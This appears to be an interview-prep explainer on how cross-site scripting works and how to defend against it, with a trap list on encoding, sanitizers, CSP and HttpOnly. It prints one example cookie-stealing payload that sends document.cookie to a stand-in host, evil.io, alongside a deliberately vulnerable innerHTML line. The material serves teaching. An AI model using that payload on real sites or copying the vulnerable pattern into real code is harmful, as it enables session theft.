How does XSS work, and how do you defend against it?
What interviewers are testing
XSS is the canonical web security question because it tests whether you understand the browser trust model instead of just memorizing "escape output". Interviewers listen for the taxonomy — stored, reflected, and DOM-based — plus the difference between encoding and sanitization, and whether you treat CSP and HttpOnly as layers or as the fix. Knowing why the browser cannot distinguish app code from injected script is what separates a memorized answer from a real model.
Mental model
An XSS vulnerability is any path where attacker-controlled data reaches an HTML parser or JavaScript interpreter as syntax instead of data. The browser executes whatever it parses in the page origin, so defense means breaking that path everywhere: context-aware output encoding, sanitization only when HTML must survive, and CSP plus HttpOnly as layers that limit damage when a path is missed.
Step-by-step solution
Step 1 of 5
XSS in one minute
Cross-site scripting is not a browser bug; it is a trust bug. When a page renders data as markup, any visitor-supplied string can become executable code, and the browser has no way to know that the script it just parsed came from an attacker rather than the application. All script on a page shares one origin, one DOM, and one cookie jar, so injected code runs with exactly the same privileges as first-party code. Watch the animation: the same comment travels through two pipelines. On the left the server concatenates it into HTML and the parser turns the payload into a live image node whose handler fires. On the right the server encodes it, the browser displays angle brackets as text, and no node is ever created. The lesson is blunt: once attacker data reaches an HTML parser unescaped, the browser cannot save you.
// vulnerable: the payload becomes real markup
el.innerHTML = "<p>" + comment + "</p>";
// attacker comment
// <img src=x onerror="fetch('https://evil.io?c=' + document.cookie)">Animation — XSS in one minute
Vulnerable — the payload reaches the HTML parser
Hardened — output encoded before it reaches the browser
A comment is submitted and rendered back to the page.
Edge cases & traps
- Sanitizing on input and trusting it forever: stored payloads outlive code, and library fixes change what is dangerous — encode or sanitize again on output.
- Blocklisting tags or stripping <script> by hand: mutation XSS slips through naive filters — use a maintained allowlist sanitizer such as DOMPurify.
- CSP containing 'unsafe-inline': it re-enables exactly the inline execution you were trying to block — prefer nonces or hashes and drop unsafe sources.
- Trusting HttpOnly to stop XSS: the payload still runs and can act as the user — HttpOnly only prevents reading the cookie, so keep the injected script out too.
- Forgetting DOM-based sources: location.hash, window.name, and postMessage data flowing into innerHTML are invisible to server-side encoding.